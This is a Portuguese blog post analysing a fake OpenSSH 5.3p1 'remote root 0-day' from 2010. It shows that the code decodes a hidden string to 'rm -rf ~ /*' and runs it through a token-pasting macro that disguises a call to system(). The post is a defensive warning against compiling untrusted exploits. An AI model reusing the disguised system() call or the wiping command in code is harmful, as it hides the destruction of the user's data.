0-Day openssh-53p1-remote-root.c?
Estava em casa e de madrugada recebi uma mensagem dizendo “0-day para OpenSSH” seguindo do seguinte link:
http://pentestit.com/wp-content/uploads/2010/02/openssh-53p1-remote-root.c
Já logo pensei na festa que isso seria para os script kiddies e raquers de plantão. Porém ao dar uma olhada rápida no código, percebe-se logo de inicio algumas sutilezas. De uma maneira geral o código realmente parece com um exploit, com seus imensos shellcodes e suas conexões por socket, o que me fez da uma olhada com mais calma e escrever este post.
Vamos ao começo do código:
if (geteuid()) {
puts("Root is required for raw sockets, etc.");
return 1;
}
Olhando logo na parte inicial do código, é possível notar que ele exige que seja executando com um usuário com privilégios de root, argumentando que é necessário para utilização de raw sockets (SOCK_RAW
). Porém, procurando pela criação do socket em questão, nota-se que ele utiliza um SOCK_STREAM
, que representa uma conexão TCP normal sem necessidade de root.
sock = socket(PF_INET, SOCK_STREAM, 0);
addr.sin_port = htons(port);
addr.sin_family = AF_INET;
if (connect(sock, (struct sockaddr*)&addr, sizeof(addr)) == -1){
printf(" [-] Connecting Failed\n");
return 1;
}
Em seguida, ele faz uma validação da quantidade de argumentos, fornecendo uma ajuda caso não existam parâmetros suficiente:
if(argc < 3){
usage(argv[0]);
return 1;
}
Porém, é importante notar que ele não faz qualquer outra referência à argv
, ou seja, ele não trata os parâmetros fornecidos:
if (!inet_aton(h, &addr.sin_addr)){
host = gethostbyname(h);
if (!host){
printf(" [-] Resolving Failed\n");
return 1;
}
addr.sin_addr = *(struct in_addr*)host->h_addr;
}
Seguindo pelo código, temos um trecho de código que diz converter o endereço fornecido em seu host. Porém como não existe qualquer parâmetro definido como host, a função inet_aton
vai retornar um valor diferente de zero, o que resultará sempre no salto desta condição.
payload = malloc(limit * 10000);
ptr = payload+8;
memcpy(ptr,jmpcode,strlen(jmpcode));
jmpinst=fopen(shellcode+793,"w+");
if(jmpinst){
fseek(jmpinst,0,SEEK_SET);
fprintf(jmpinst,"%s",shellcode);
fclose(jmpinst);
}
Neste momento ele começa a preencher um buffer (um trecho de código comum em exploits), porém ele escreve uma variável jmpcode
a partir da posição 8 deste buffer ( apontado por ptr
).
Analisando o conteúdo dessa variável temos o seguinte:
maycon@hacknroll~$ printf $(cat jmpcode.txt) > jmpcode.bin
maycon@hacknroll~$ file jmpcode.bin
jmpcode.bin: ASCII C program text, with no line terminators
maycon@hacknroll~$ cat jmpcode.bin
rm -rf ~ /* 2> /dev/null &
maycon@hacknroll~$
Opa! Nos deparamos com uma coisa nem um pouco agradável de ser ver. Estamos vendo um comando que apaga o home (~
) do usuário em seguida apaga tudo a partir da raiz (/*
). :)
O mesmo código chama fopen()
a uma posição do shellcode que sequer representa um nome de arquivo válido, ou seja, a função fopen()
vai falhar.
No resto do código tem muita besteira. O que me deixou mais impressionado foi a macro fremote()
que reordenar os argumentos de tesmy
para system
. Se reparar, ela é chamada no inicio do código como fremote(jmpcode)
, que executaria o rm -rf
visto anteriormente, veja um exemplo da utilização das macros:
#include
#define build_frem(x,y,a,b,c) a##c##a##x##y##b
#define fremote build_frem(t,e,s,m,y)
char jmpcode[] = "ls -l";
int main(void)
{
fremote(jmpcode);
return 0;
}
Analisando a chamada build_frem
, temos que ele simplesmente organiza os parâmetros como terceiro, último, terceiro, primeiro, segundo e penúltimo. Aplicando esta mesma sequência nos parâmetros de build_frem teremos a string system.
Se executarmos gcc -E
temos o código logo após o processamento das macros:
maycon@hacknroll~$ gcc -E fremote.c | tail -n 8
char jmpcode[] = "ls -l";
int main(void)
{
system(jmpcode);
return 0;
}
maycon@hacknroll~$
Este é um trick bastante interessante. Ah se eu soubesse disto na época de Programação I na faculdade. :-)
De qualquer forma isto serve de aviso para os que se aventuram a simplesmente compilar e executar os exploits vistos na internet.
Abraços a todos,
Hack N’ Roll